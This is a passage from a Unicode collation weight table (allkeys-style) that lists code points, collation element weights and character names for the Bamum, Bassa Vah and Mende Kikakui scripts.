+1690C ; [.39C3.0020.0002] # BAMUM LETTER PHASE-D SEUAEQ
+1690D ; [.39C4.0020.0002] # BAMUM LETTER PHASE-D YEN
+1690E ; [.39C5.0020.0002] # BAMUM LETTER PHASE-D NJEUAEM
+1690F ; [.39C6.0020.0002] # BAMUM LETTER PHASE-D KEUOT MBUAE
+16910 ; [.39C7.0020.0002] # BAMUM LETTER PHASE-D NGKEURI
+16911 ; [.39C8.0020.0002] # BAMUM LETTER PHASE-D TU
+16912 ; [.39C9.0020.0002] # BAMUM LETTER PHASE-D GHAA
+16913 ; [.39CA.0020.0002] # BAMUM LETTER PHASE-D NGKYEE
+16914 ; [.39CB.0020.0002] # BAMUM LETTER PHASE-D FEUFEUAET
+16915 ; [.39CC.0020.0002] # BAMUM LETTER PHASE-D NDEE
+16916 ; [.39CD.0020.0002] # BAMUM LETTER PHASE-D MGBOFUM
+16917 ; [.39CE.0020.0002] # BAMUM LETTER PHASE-D LEUAEP
+16918 ; [.39CF.0020.0002] # BAMUM LETTER PHASE-D NDON
+16919 ; [.39D0.0020.0002] # BAMUM LETTER PHASE-D MONI
+1691A ; [.39D1.0020.0002] # BAMUM LETTER PHASE-D MGBEUN
+1691B ; [.39D2.0020.0002] # BAMUM LETTER PHASE-D PUUT
+1691C ; [.39D3.0020.0002] # BAMUM LETTER PHASE-D MGBIEE
+1691D ; [.39D4.0020.0002] # BAMUM LETTER PHASE-D MFO
+1691E ; [.39D5.0020.0002] # BAMUM LETTER PHASE-D LUM
+1691F ; [.39D6.0020.0002] # BAMUM LETTER PHASE-D NSIEEP
+16920 ; [.39D7.0020.0002] # BAMUM LETTER PHASE-D MBAA
+16921 ; [.39D8.0020.0002] # BAMUM LETTER PHASE-D KWAET
+16922 ; [.39D9.0020.0002] # BAMUM LETTER PHASE-D NYET
+16923 ; [.39DA.0020.0002] # BAMUM LETTER PHASE-D TEUAEN
+16924 ; [.39DB.0020.0002] # BAMUM LETTER PHASE-D SOT
+16925 ; [.39DC.0020.0002] # BAMUM LETTER PHASE-D YUWOQ
+16926 ; [.39DD.0020.0002] # BAMUM LETTER PHASE-D KEUM
+16927 ; [.39DE.0020.0002] # BAMUM LETTER PHASE-D RAEM
+16928 ; [.39DF.0020.0002] # BAMUM LETTER PHASE-D TEEEE
+16929 ; [.39E0.0020.0002] # BAMUM LETTER PHASE-D NGKEUAEQ
+1692A ; [.39E1.0020.0002] # BAMUM LETTER PHASE-D MFEUAE
+1692B ; [.39E2.0020.0002] # BAMUM LETTER PHASE-D NSIEET
+1692C ; [.39E3.0020.0002] # BAMUM LETTER PHASE-D KEUP
+1692D ; [.39E4.0020.0002] # BAMUM LETTER PHASE-D PIP
+1692E ; [.39E5.0020.0002] # BAMUM LETTER PHASE-D PEUTAE
+1692F ; [.39E6.0020.0002] # BAMUM LETTER PHASE-D NYUE
+16930 ; [.39E7.0020.0002] # BAMUM LETTER PHASE-D LET
+16931 ; [.39E8.0020.0002] # BAMUM LETTER PHASE-D NGGAAM
+16932 ; [.39E9.0020.0002] # BAMUM LETTER PHASE-D MFIEE
+16933 ; [.39EA.0020.0002] # BAMUM LETTER PHASE-D NGGWAEN
+16934 ; [.39EB.0020.0002] # BAMUM LETTER PHASE-D YUOM
+16935 ; [.39EC.0020.0002] # BAMUM LETTER PHASE-D PAP
+16936 ; [.39ED.0020.0002] # BAMUM LETTER PHASE-D YUOP
+16937 ; [.39EE.0020.0002] # BAMUM LETTER PHASE-D NDAM
+16938 ; [.39EF.0020.0002] # BAMUM LETTER PHASE-D NTEUM
+16939 ; [.39F0.0020.0002] # BAMUM LETTER PHASE-D SUAE
+1693A ; [.39F1.0020.0002] # BAMUM LETTER PHASE-D KUN
+1693B ; [.39F2.0020.0002] # BAMUM LETTER PHASE-D NGGEUX
+1693C ; [.39F3.0020.0002] # BAMUM LETTER PHASE-D NGKIEE
+1693D ; [.39F4.0020.0002] # BAMUM LETTER PHASE-D TUOT
+1693E ; [.39F5.0020.0002] # BAMUM LETTER PHASE-D MEUN
+1693F ; [.39F6.0020.0002] # BAMUM LETTER PHASE-D KUQ
+16940 ; [.39F7.0020.0002] # BAMUM LETTER PHASE-D NSUM
+16941 ; [.39F8.0020.0002] # BAMUM LETTER PHASE-D TEUN
+16942 ; [.39F9.0020.0002] # BAMUM LETTER PHASE-D MAENJET
+16943 ; [.39FA.0020.0002] # BAMUM LETTER PHASE-D NGGAP
+16944 ; [.39FB.0020.0002] # BAMUM LETTER PHASE-D LEUM
+16945 ; [.39FC.0020.0002] # BAMUM LETTER PHASE-D NGGUOM
+16946 ; [.39FD.0020.0002] # BAMUM LETTER PHASE-D NSHUT
+16947 ; [.39FE.0020.0002] # BAMUM LETTER PHASE-D NJUEQ
+16948 ; [.39FF.0020.0002] # BAMUM LETTER PHASE-D GHEUAE
+16949 ; [.3A00.0020.0002] # BAMUM LETTER PHASE-D KU
+1694A ; [.3A01.0020.0002] # BAMUM LETTER PHASE-D REN OLD
+1694B ; [.3A02.0020.0002] # BAMUM LETTER PHASE-D TAE
+1694C ; [.3A03.0020.0002] # BAMUM LETTER PHASE-D TOQ
+1694D ; [.3A04.0020.0002] # BAMUM LETTER PHASE-D NYI
+1694E ; [.3A05.0020.0002] # BAMUM LETTER PHASE-D RII
+1694F ; [.3A06.0020.0002] # BAMUM LETTER PHASE-D LEEEE
+16950 ; [.3A07.0020.0002] # BAMUM LETTER PHASE-D MEEEE
+16951 ; [.3A08.0020.0002] # BAMUM LETTER PHASE-D M
+16952 ; [.3A09.0020.0002] # BAMUM LETTER PHASE-D SUU
+16953 ; [.3A0A.0020.0002] # BAMUM LETTER PHASE-D MU
+16954 ; [.3A0B.0020.0002] # BAMUM LETTER PHASE-D SHII
+16955 ; [.3A0C.0020.0002] # BAMUM LETTER PHASE-D SHEUX
+16956 ; [.3A0D.0020.0002] # BAMUM LETTER PHASE-D KYEE
+16957 ; [.3A0E.0020.0002] # BAMUM LETTER PHASE-D NU
+16958 ; [.3A0F.0020.0002] # BAMUM LETTER PHASE-D SHU
+16959 ; [.3A10.0020.0002] # BAMUM LETTER PHASE-D NTEE
+1695A ; [.3A11.0020.0002] # BAMUM LETTER PHASE-D PEE
+1695B ; [.3A12.0020.0002] # BAMUM LETTER PHASE-D NI
+1695C ; [.3A13.0020.0002] # BAMUM LETTER PHASE-D SHOQ
+1695D ; [.3A14.0020.0002] # BAMUM LETTER PHASE-D PUQ
+1695E ; [.3A15.0020.0002] # BAMUM LETTER PHASE-D MVOP
+1695F ; [.3A16.0020.0002] # BAMUM LETTER PHASE-D LOQ
+16960 ; [.3A17.0020.0002] # BAMUM LETTER PHASE-D REN MUCH
+16961 ; [.3A18.0020.0002] # BAMUM LETTER PHASE-D TI
+16962 ; [.3A19.0020.0002] # BAMUM LETTER PHASE-D NTUU
+16963 ; [.3A1A.0020.0002] # BAMUM LETTER PHASE-D MBAA SEVEN
+16964 ; [.3A1B.0020.0002] # BAMUM LETTER PHASE-D SAQ
+16965 ; [.3A1C.0020.0002] # BAMUM LETTER PHASE-D FAA
+16966 ; [.3A1D.0020.0002] # BAMUM LETTER PHASE-E NDAP
+16967 ; [.3A1E.0020.0002] # BAMUM LETTER PHASE-E TOON
+16968 ; [.3A1F.0020.0002] # BAMUM LETTER PHASE-E MBEUM
+16969 ; [.3A20.0020.0002] # BAMUM LETTER PHASE-E LAP
+1696A ; [.3A21.0020.0002] # BAMUM LETTER PHASE-E VOM
+1696B ; [.3A22.0020.0002] # BAMUM LETTER PHASE-E LOON
+1696C ; [.3A23.0020.0002] # BAMUM LETTER PHASE-E PAA
+1696D ; [.3A24.0020.0002] # BAMUM LETTER PHASE-E SOM
+1696E ; [.3A25.0020.0002] # BAMUM LETTER PHASE-E RAQ
+1696F ; [.3A26.0020.0002] # BAMUM LETTER PHASE-E NSHUOP
+16970 ; [.3A27.0020.0002] # BAMUM LETTER PHASE-E NDUN
+16971 ; [.3A28.0020.0002] # BAMUM LETTER PHASE-E PUAE
+16972 ; [.3A29.0020.0002] # BAMUM LETTER PHASE-E TAM
+16973 ; [.3A2A.0020.0002] # BAMUM LETTER PHASE-E NGKA
+16974 ; [.3A2B.0020.0002] # BAMUM LETTER PHASE-E KPEUX
+16975 ; [.3A2C.0020.0002] # BAMUM LETTER PHASE-E WUO
+16976 ; [.3A2D.0020.0002] # BAMUM LETTER PHASE-E SEE
+16977 ; [.3A2E.0020.0002] # BAMUM LETTER PHASE-E NGGEUAET
+16978 ; [.3A2F.0020.0002] # BAMUM LETTER PHASE-E PAAM
+16979 ; [.3A30.0020.0002] # BAMUM LETTER PHASE-E TOO
+1697A ; [.3A31.0020.0002] # BAMUM LETTER PHASE-E KUOP
+1697B ; [.3A32.0020.0002] # BAMUM LETTER PHASE-E LOM
+1697C ; [.3A33.0020.0002] # BAMUM LETTER PHASE-E NSHIEE
+1697D ; [.3A34.0020.0002] # BAMUM LETTER PHASE-E NGOP
+1697E ; [.3A35.0020.0002] # BAMUM LETTER PHASE-E MAEM
+1697F ; [.3A36.0020.0002] # BAMUM LETTER PHASE-E NGKEUX
+16980 ; [.3A37.0020.0002] # BAMUM LETTER PHASE-E NGOQ
+16981 ; [.3A38.0020.0002] # BAMUM LETTER PHASE-E NSHUE
+16982 ; [.3A39.0020.0002] # BAMUM LETTER PHASE-E RIMGBA
+16983 ; [.3A3A.0020.0002] # BAMUM LETTER PHASE-E NJEUX
+16984 ; [.3A3B.0020.0002] # BAMUM LETTER PHASE-E PEEM
+16985 ; [.3A3C.0020.0002] # BAMUM LETTER PHASE-E SAA
+16986 ; [.3A3D.0020.0002] # BAMUM LETTER PHASE-E NGGURAE
+16987 ; [.3A3E.0020.0002] # BAMUM LETTER PHASE-E MGBA
+16988 ; [.3A3F.0020.0002] # BAMUM LETTER PHASE-E GHEUX
+16989 ; [.3A40.0020.0002] # BAMUM LETTER PHASE-E NGKEUAEM
+1698A ; [.3A41.0020.0002] # BAMUM LETTER PHASE-E NJAEMLI
+1698B ; [.3A42.0020.0002] # BAMUM LETTER PHASE-E MAP
+1698C ; [.3A43.0020.0002] # BAMUM LETTER PHASE-E LOOT
+1698D ; [.3A44.0020.0002] # BAMUM LETTER PHASE-E NGGEEEE
+1698E ; [.3A45.0020.0002] # BAMUM LETTER PHASE-E NDIQ
+1698F ; [.3A46.0020.0002] # BAMUM LETTER PHASE-E TAEN NTEUM
+16990 ; [.3A47.0020.0002] # BAMUM LETTER PHASE-E SET
+16991 ; [.3A48.0020.0002] # BAMUM LETTER PHASE-E PUM
+16992 ; [.3A49.0020.0002] # BAMUM LETTER PHASE-E NDAA SOFTNESS
+16993 ; [.3A4A.0020.0002] # BAMUM LETTER PHASE-E NGGUAESHAE NYAM
+16994 ; [.3A4B.0020.0002] # BAMUM LETTER PHASE-E YIEE
+16995 ; [.3A4C.0020.0002] # BAMUM LETTER PHASE-E GHEUN
+16996 ; [.3A4D.0020.0002] # BAMUM LETTER PHASE-E TUAE
+16997 ; [.3A4E.0020.0002] # BAMUM LETTER PHASE-E YEUAE
+16998 ; [.3A4F.0020.0002] # BAMUM LETTER PHASE-E PO
+16999 ; [.3A50.0020.0002] # BAMUM LETTER PHASE-E TUMAE
+1699A ; [.3A51.0020.0002] # BAMUM LETTER PHASE-E KEUAE
+1699B ; [.3A52.0020.0002] # BAMUM LETTER PHASE-E SUAEN
+1699C ; [.3A53.0020.0002] # BAMUM LETTER PHASE-E TEUAEQ
+1699D ; [.3A54.0020.0002] # BAMUM LETTER PHASE-E VEUAE
+1699E ; [.3A55.0020.0002] # BAMUM LETTER PHASE-E WEUX
+1699F ; [.3A56.0020.0002] # BAMUM LETTER PHASE-E LAAM
+169A0 ; [.3A57.0020.0002] # BAMUM LETTER PHASE-E PU
+169A1 ; [.3A58.0020.0002] # BAMUM LETTER PHASE-E TAAQ
+169A2 ; [.3A59.0020.0002] # BAMUM LETTER PHASE-E GHAAMAE
+169A3 ; [.3A5A.0020.0002] # BAMUM LETTER PHASE-E NGEUREUT
+169A4 ; [.3A5B.0020.0002] # BAMUM LETTER PHASE-E SHEUAEQ
+169A5 ; [.3A5C.0020.0002] # BAMUM LETTER PHASE-E MGBEN
+169A6 ; [.3A5D.0020.0002] # BAMUM LETTER PHASE-E MBEE
+169A7 ; [.3A5E.0020.0002] # BAMUM LETTER PHASE-E NZAQ
+169A8 ; [.3A5F.0020.0002] # BAMUM LETTER PHASE-E NKOM
+169A9 ; [.3A60.0020.0002] # BAMUM LETTER PHASE-E GBET
+169AA ; [.3A61.0020.0002] # BAMUM LETTER PHASE-E TUM
+169AB ; [.3A62.0020.0002] # BAMUM LETTER PHASE-E KUET
+169AC ; [.3A63.0020.0002] # BAMUM LETTER PHASE-E YAP
+169AD ; [.3A64.0020.0002] # BAMUM LETTER PHASE-E NYI CLEAVER
+169AE ; [.3A65.0020.0002] # BAMUM LETTER PHASE-E YIT
+169AF ; [.3A66.0020.0002] # BAMUM LETTER PHASE-E MFEUQ
+169B0 ; [.3A67.0020.0002] # BAMUM LETTER PHASE-E NDIAQ
+169B1 ; [.3A68.0020.0002] # BAMUM LETTER PHASE-E PIEEQ
+169B2 ; [.3A69.0020.0002] # BAMUM LETTER PHASE-E YUEQ
+169B3 ; [.3A6A.0020.0002] # BAMUM LETTER PHASE-E LEUAEM
+169B4 ; [.3A6B.0020.0002] # BAMUM LETTER PHASE-E FUE
+169B5 ; [.3A6C.0020.0002] # BAMUM LETTER PHASE-E GBEUX
+169B6 ; [.3A6D.0020.0002] # BAMUM LETTER PHASE-E NGKUP
+169B7 ; [.3A6E.0020.0002] # BAMUM LETTER PHASE-E KET
+169B8 ; [.3A6F.0020.0002] # BAMUM LETTER PHASE-E MAE
+169B9 ; [.3A70.0020.0002] # BAMUM LETTER PHASE-E NGKAAMI
+169BA ; [.3A71.0020.0002] # BAMUM LETTER PHASE-E GHET
+169BB ; [.3A72.0020.0002] # BAMUM LETTER PHASE-E FA
+169BC ; [.3A73.0020.0002] # BAMUM LETTER PHASE-E NTUM
+169BD ; [.3A74.0020.0002] # BAMUM LETTER PHASE-E PEUT
+169BE ; [.3A75.0020.0002] # BAMUM LETTER PHASE-E YEUM
+169BF ; [.3A76.0020.0002] # BAMUM LETTER PHASE-E NGGEUAE
+169C0 ; [.3A77.0020.0002] # BAMUM LETTER PHASE-E NYI BETWEEN
+169C1 ; [.3A78.0020.0002] # BAMUM LETTER PHASE-E NZUQ
+169C2 ; [.3A79.0020.0002] # BAMUM LETTER PHASE-E POON
+169C3 ; [.3A7A.0020.0002] # BAMUM LETTER PHASE-E MIEE
+169C4 ; [.3A7B.0020.0002] # BAMUM LETTER PHASE-E FUET
+169C5 ; [.3A7C.0020.0002] # BAMUM LETTER PHASE-E NAE
+169C6 ; [.3A7D.0020.0002] # BAMUM LETTER PHASE-E MUAE
+169C7 ; [.3A7E.0020.0002] # BAMUM LETTER PHASE-E GHEUAE
+169C8 ; [.3A7F.0020.0002] # BAMUM LETTER PHASE-E FU I
+169C9 ; [.3A80.0020.0002] # BAMUM LETTER PHASE-E MVI
+169CA ; [.3A81.0020.0002] # BAMUM LETTER PHASE-E PUAQ
+169CB ; [.3A82.0020.0002] # BAMUM LETTER PHASE-E NGKUM
+169CC ; [.3A83.0020.0002] # BAMUM LETTER PHASE-E KUT
+169CD ; [.3A84.0020.0002] # BAMUM LETTER PHASE-E PIET
+169CE ; [.3A85.0020.0002] # BAMUM LETTER PHASE-E NTAP
+169CF ; [.3A86.0020.0002] # BAMUM LETTER PHASE-E YEUAET
+169D0 ; [.3A87.0020.0002] # BAMUM LETTER PHASE-E NGGUP
+169D1 ; [.3A88.0020.0002] # BAMUM LETTER PHASE-E PA PEOPLE
+169D2 ; [.3A89.0020.0002] # BAMUM LETTER PHASE-E FU CALL
+169D3 ; [.3A8A.0020.0002] # BAMUM LETTER PHASE-E FOM
+169D4 ; [.3A8B.0020.0002] # BAMUM LETTER PHASE-E NJEE
+169D5 ; [.3A8C.0020.0002] # BAMUM LETTER PHASE-E A
+169D6 ; [.3A8D.0020.0002] # BAMUM LETTER PHASE-E TOQ
+169D7 ; [.3A8E.0020.0002] # BAMUM LETTER PHASE-E O
+169D8 ; [.3A8F.0020.0002] # BAMUM LETTER PHASE-E I
+169D9 ; [.3A90.0020.0002] # BAMUM LETTER PHASE-E LAQ
+169DA ; [.3A91.0020.0002] # BAMUM LETTER PHASE-E PA PLURAL
+169DB ; [.3A92.0020.0002] # BAMUM LETTER PHASE-E TAA
+169DC ; [.3A93.0020.0002] # BAMUM LETTER PHASE-E TAQ
+169DD ; [.3A94.0020.0002] # BAMUM LETTER PHASE-E NDAA MY HOUSE
+169DE ; [.3A95.0020.0002] # BAMUM LETTER PHASE-E SHIQ
+169DF ; [.3A96.0020.0002] # BAMUM LETTER PHASE-E YEUX
+169E0 ; [.3A97.0020.0002] # BAMUM LETTER PHASE-E NGUAE
+169E1 ; [.3A98.0020.0002] # BAMUM LETTER PHASE-E YUAEN
+169E2 ; [.3A99.0020.0002] # BAMUM LETTER PHASE-E YOQ SWIMMING
+169E3 ; [.3A9A.0020.0002] # BAMUM LETTER PHASE-E YOQ COVER
+169E4 ; [.3A9B.0020.0002] # BAMUM LETTER PHASE-E YUQ
+169E5 ; [.3A9C.0020.0002] # BAMUM LETTER PHASE-E YUN
+169E6 ; [.3A9D.0020.0002] # BAMUM LETTER PHASE-E KEUX
+169E7 ; [.3A9E.0020.0002] # BAMUM LETTER PHASE-E PEUX
+169E8 ; [.3A9F.0020.0002] # BAMUM LETTER PHASE-E NJEE EPOCH
+169E9 ; [.3AA0.0020.0002] # BAMUM LETTER PHASE-E PUE
+169EA ; [.3AA1.0020.0002] # BAMUM LETTER PHASE-E WUE
+169EB ; [.3AA2.0020.0002] # BAMUM LETTER PHASE-E FEE
+169EC ; [.3AA3.0020.0002] # BAMUM LETTER PHASE-E VEE
+169ED ; [.3AA4.0020.0002] # BAMUM LETTER PHASE-E LU
+169EE ; [.3AA5.0020.0002] # BAMUM LETTER PHASE-E MI
+169EF ; [.3AA6.0020.0002] # BAMUM LETTER PHASE-E REUX
+169F0 ; [.3AA7.0020.0002] # BAMUM LETTER PHASE-E RAE
+169F1 ; [.3AA8.0020.0002] # BAMUM LETTER PHASE-E NGUAET
+169F2 ; [.3AA9.0020.0002] # BAMUM LETTER PHASE-E NGA
+169F3 ; [.3AAA.0020.0002] # BAMUM LETTER PHASE-E SHO
+169F4 ; [.3AAB.0020.0002] # BAMUM LETTER PHASE-E SHOQ
+169F5 ; [.3AAC.0020.0002] # BAMUM LETTER PHASE-E FU REMEDY
+169F6 ; [.3AAD.0020.0002] # BAMUM LETTER PHASE-E NA
+169F7 ; [.3AAE.0020.0002] # BAMUM LETTER PHASE-E PI
+169F8 ; [.3AAF.0020.0002] # BAMUM LETTER PHASE-E LOQ
+169F9 ; [.3AB0.0020.0002] # BAMUM LETTER PHASE-E KO
+169FA ; [.3AB1.0020.0002] # BAMUM LETTER PHASE-E MEN
+169FB ; [.3AB2.0020.0002] # BAMUM LETTER PHASE-E MA
+169FC ; [.3AB3.0020.0002] # BAMUM LETTER PHASE-E MAQ
+169FD ; [.3AB4.0020.0002] # BAMUM LETTER PHASE-E TEU
+169FE ; [.3AB5.0020.0002] # BAMUM LETTER PHASE-E KI
+169FF ; [.3AB6.0020.0002] # BAMUM LETTER PHASE-E MON
+16A00 ; [.3AB7.0020.0002] # BAMUM LETTER PHASE-E TEN
+16A01 ; [.3AB8.0020.0002] # BAMUM LETTER PHASE-E FAQ
+16A02 ; [.3AB9.0020.0002] # BAMUM LETTER PHASE-E GHOM
+16A03 ; [.3ABA.0020.0002] # BAMUM LETTER PHASE-F KA
+16A04 ; [.3ABB.0020.0002] # BAMUM LETTER PHASE-F U
+16A05 ; [.3ABC.0020.0002] # BAMUM LETTER PHASE-F KU
+16A06 ; [.3ABD.0020.0002] # BAMUM LETTER PHASE-F EE
+16A07 ; [.3ABE.0020.0002] # BAMUM LETTER PHASE-F REE
+16A08 ; [.3ABF.0020.0002] # BAMUM LETTER PHASE-F TAE
+16A09 ; [.3AC0.0020.0002] # BAMUM LETTER PHASE-F NYI
+16A0A ; [.3AC1.0020.0002] # BAMUM LETTER PHASE-F LA
+16A0B ; [.3AC2.0020.0002] # BAMUM LETTER PHASE-F RII
+16A0C ; [.3AC3.0020.0002] # BAMUM LETTER PHASE-F RIEE
+16A0D ; [.3AC4.0020.0002] # BAMUM LETTER PHASE-F MEEEE
+16A0E ; [.3AC5.0020.0002] # BAMUM LETTER PHASE-F TAA
+16A0F ; [.3AC6.0020.0002] # BAMUM LETTER PHASE-F NDAA
+16A10 ; [.3AC7.0020.0002] # BAMUM LETTER PHASE-F NJAEM
+16A11 ; [.3AC8.0020.0002] # BAMUM LETTER PHASE-F M
+16A12 ; [.3AC9.0020.0002] # BAMUM LETTER PHASE-F SUU
+16A13 ; [.3ACA.0020.0002] # BAMUM LETTER PHASE-F SHII
+16A14 ; [.3ACB.0020.0002] # BAMUM LETTER PHASE-F SI
+16A15 ; [.3ACC.0020.0002] # BAMUM LETTER PHASE-F SEUX
+16A16 ; [.3ACD.0020.0002] # BAMUM LETTER PHASE-F KYEE
+16A17 ; [.3ACE.0020.0002] # BAMUM LETTER PHASE-F KET
+16A18 ; [.3ACF.0020.0002] # BAMUM LETTER PHASE-F NUAE
+16A19 ; [.3AD0.0020.0002] # BAMUM LETTER PHASE-F NU
+16A1A ; [.3AD1.0020.0002] # BAMUM LETTER PHASE-F NJUAE
+16A1B ; [.3AD2.0020.0002] # BAMUM LETTER PHASE-F YOQ
+16A1C ; [.3AD3.0020.0002] # BAMUM LETTER PHASE-F SHU
+16A1D ; [.3AD4.0020.0002] # BAMUM LETTER PHASE-F YA
+16A1E ; [.3AD5.0020.0002] # BAMUM LETTER PHASE-F NSHA
+16A1F ; [.3AD6.0020.0002] # BAMUM LETTER PHASE-F PEUX
+16A20 ; [.3AD7.0020.0002] # BAMUM LETTER PHASE-F NTEE
+16A21 ; [.3AD8.0020.0002] # BAMUM LETTER PHASE-F WUE
+16A22 ; [.3AD9.0020.0002] # BAMUM LETTER PHASE-F PEE
+16A23 ; [.3ADA.0020.0002] # BAMUM LETTER PHASE-F RU
+16A24 ; [.3ADB.0020.0002] # BAMUM LETTER PHASE-F NI
+16A25 ; [.3ADC.0020.0002] # BAMUM LETTER PHASE-F REUX
+16A26 ; [.3ADD.0020.0002] # BAMUM LETTER PHASE-F KEN
+16A27 ; [.3ADE.0020.0002] # BAMUM LETTER PHASE-F NGKWAEN
+16A28 ; [.3ADF.0020.0002] # BAMUM LETTER PHASE-F NGGA
+16A29 ; [.3AE0.0020.0002] # BAMUM LETTER PHASE-F SHO
+16A2A ; [.3AE1.0020.0002] # BAMUM LETTER PHASE-F PUAE
+16A2B ; [.3AE2.0020.0002] # BAMUM LETTER PHASE-F FOM
+16A2C ; [.3AE3.0020.0002] # BAMUM LETTER PHASE-F WA
+16A2D ; [.3AE4.0020.0002] # BAMUM LETTER PHASE-F LI
+16A2E ; [.3AE5.0020.0002] # BAMUM LETTER PHASE-F LOQ
+16A2F ; [.3AE6.0020.0002] # BAMUM LETTER PHASE-F KO
+16A30 ; [.3AE7.0020.0002] # BAMUM LETTER PHASE-F MBEN
+16A31 ; [.3AE8.0020.0002] # BAMUM LETTER PHASE-F REN
+16A32 ; [.3AE9.0020.0002] # BAMUM LETTER PHASE-F MA
+16A33 ; [.3AEA.0020.0002] # BAMUM LETTER PHASE-F MO
+16A34 ; [.3AEB.0020.0002] # BAMUM LETTER PHASE-F MBAA
+16A35 ; [.3AEC.0020.0002] # BAMUM LETTER PHASE-F TET
+16A36 ; [.3AED.0020.0002] # BAMUM LETTER PHASE-F KPA
+16A37 ; [.3AEE.0020.0002] # BAMUM LETTER PHASE-F SAMBA
+16A38 ; [.3AEF.0020.0002] # BAMUM LETTER PHASE-F VUEQ
+16AD0 ; [.3AF0.0020.0002] # BASSA VAH LETTER ENNI
+16AD1 ; [.3AF1.0020.0002] # BASSA VAH LETTER KA
+16AD2 ; [.3AF2.0020.0002] # BASSA VAH LETTER SE
+16AD3 ; [.3AF3.0020.0002] # BASSA VAH LETTER FA
+16AD4 ; [.3AF4.0020.0002] # BASSA VAH LETTER MBE
+16AD5 ; [.3AF5.0020.0002] # BASSA VAH LETTER YIE
+16AD6 ; [.3AF6.0020.0002] # BASSA VAH LETTER GAH
+16AD7 ; [.3AF7.0020.0002] # BASSA VAH LETTER DHII
+16AD8 ; [.3AF8.0020.0002] # BASSA VAH LETTER KPAH
+16AD9 ; [.3AF9.0020.0002] # BASSA VAH LETTER JO
+16ADA ; [.3AFA.0020.0002] # BASSA VAH LETTER HWAH
+16ADB ; [.3AFB.0020.0002] # BASSA VAH LETTER WA
+16ADC ; [.3AFC.0020.0002] # BASSA VAH LETTER ZO
+16ADD ; [.3AFD.0020.0002] # BASSA VAH LETTER GBU
+16ADE ; [.3AFE.0020.0002] # BASSA VAH LETTER DO
+16ADF ; [.3AFF.0020.0002] # BASSA VAH LETTER CE
+16AE0 ; [.3B00.0020.0002] # BASSA VAH LETTER UWU
+16AE1 ; [.3B01.0020.0002] # BASSA VAH LETTER TO
+16AE2 ; [.3B02.0020.0002] # BASSA VAH LETTER BA
+16AE3 ; [.3B03.0020.0002] # BASSA VAH LETTER VU
+16AE4 ; [.3B04.0020.0002] # BASSA VAH LETTER YEIN
+16AE5 ; [.3B05.0020.0002] # BASSA VAH LETTER PA
+16AE6 ; [.3B06.0020.0002] # BASSA VAH LETTER WADDA
+16AE7 ; [.3B07.0020.0002] # BASSA VAH LETTER A
+16AE8 ; [.3B08.0020.0002] # BASSA VAH LETTER O
+16AE9 ; [.3B09.0020.0002] # BASSA VAH LETTER OO
+16AEA ; [.3B0A.0020.0002] # BASSA VAH LETTER U
+16AEB ; [.3B0B.0020.0002] # BASSA VAH LETTER EE
+16AEC ; [.3B0C.0020.0002] # BASSA VAH LETTER E
+16AED ; [.3B0D.0020.0002] # BASSA VAH LETTER I
+1E800 ; [.3B0E.0020.0002] # MENDE KIKAKUI SYLLABLE M001 KI
+1E801 ; [.3B0F.0020.0002] # MENDE KIKAKUI SYLLABLE M002 KA
+1E802 ; [.3B10.0020.0002] # MENDE KIKAKUI SYLLABLE M003 KU
+1E803 ; [.3B11.0020.0002] # MENDE KIKAKUI SYLLABLE M065 KEE
+1E804 ; [.3B12.0020.0002] # MENDE KIKAKUI SYLLABLE M095 KE
+1E805 ; [.3B13.0020.0002] # MENDE KIKAKUI SYLLABLE M076 KOO
+1E806 ; [.3B14.0020.0002] # MENDE KIKAKUI SYLLABLE M048 KO
+1E807 ; [.3B15.0020.0002] # MENDE KIKAKUI SYLLABLE M179 KUA
+1E808 ; [.3B16.0020.0002] # MENDE KIKAKUI SYLLABLE M004 WI
+1E809 ; [.3B17.0020.0002] # MENDE KIKAKUI SYLLABLE M005 WA
+1E80A ; [.3B18.0020.0002] # MENDE KIKAKUI SYLLABLE M006 WU
+1E80B ; [.3B19.0020.0002] # MENDE KIKAKUI SYLLABLE M126 WEE
+1E80C ; [.3B1A.0020.0002] # MENDE KIKAKUI SYLLABLE M118 WE
+1E80D ; [.3B1B.0020.0002] # MENDE KIKAKUI SYLLABLE M114 WOO
+1E80E ; [.3B1C.0020.0002] # MENDE KIKAKUI SYLLABLE M045 WO
+1E80F ; [.3B1D.0020.0002] # MENDE KIKAKUI SYLLABLE M194 WUI
+1E810 ; [.3B1E.0020.0002] # MENDE KIKAKUI SYLLABLE M143 WEI
+1E811 ; [.3B1F.0020.0002] # MENDE KIKAKUI SYLLABLE M061 WVI
+1E812 ; [.3B20.0020.0002] # MENDE KIKAKUI SYLLABLE M049 WVA
+1E813 ; [.3B21.0020.0002] # MENDE KIKAKUI SYLLABLE M139 WVE
+1E814 ; [.3B22.0020.0002] # MENDE KIKAKUI SYLLABLE M007 MIN
+1E815 ; [.3B23.0020.0002] # MENDE KIKAKUI SYLLABLE M008 MAN
+1E816 ; [.3B24.0020.0002] # MENDE KIKAKUI SYLLABLE M009 MUN
+1E817 ; [.3B25.0020.0002] # MENDE KIKAKUI SYLLABLE M059 MEN
+1E818 ; [.3B26.0020.0002] # MENDE KIKAKUI SYLLABLE M094 MON
+1E819 ; [.3B27.0020.0002] # MENDE KIKAKUI SYLLABLE M154 MUAN
+1E81A ; [.3B28.0020.0002] # MENDE KIKAKUI SYLLABLE M189 MUEN
+1E81B ; [.3B29.0020.0002] # MENDE KIKAKUI SYLLABLE M010 BI
+1E81C ; [.3B2A.0020.0002] # MENDE KIKAKUI SYLLABLE M011 BA
+1E81D ; [.3B2B.0020.0002] # MENDE KIKAKUI SYLLABLE M012 BU
+1E81E ; [.3B2C.0020.0002] # MENDE KIKAKUI SYLLABLE M150 BEE
+1E81F ; [.3B2D.0020.0002] # MENDE KIKAKUI SYLLABLE M097 BE
+1E820 ; [.3B2E.0020.0002] # MENDE KIKAKUI SYLLABLE M103 BOO
+1E821 ; [.3B2F.0020.0002] # MENDE KIKAKUI SYLLABLE M138 BO
+1E822 ; [.3B30.0020.0002] # MENDE KIKAKUI SYLLABLE M013 I
+1E823 ; [.3B31.0020.0002] # MENDE KIKAKUI SYLLABLE M014 A
+1E824 ; [.3B32.0020.0002] # MENDE KIKAKUI SYLLABLE M015 U
+1E825 ; [.3B33.0020.0002] # MENDE KIKAKUI SYLLABLE M163 EE
+1E826 ; [.3B34.0020.0002] # MENDE KIKAKUI SYLLABLE M100 E
+1E827 ; [.3B35.0020.0002] # MENDE KIKAKUI SYLLABLE M165 OO
+1E828 ; [.3B36.0020.0002] # MENDE KIKAKUI SYLLABLE M147 O
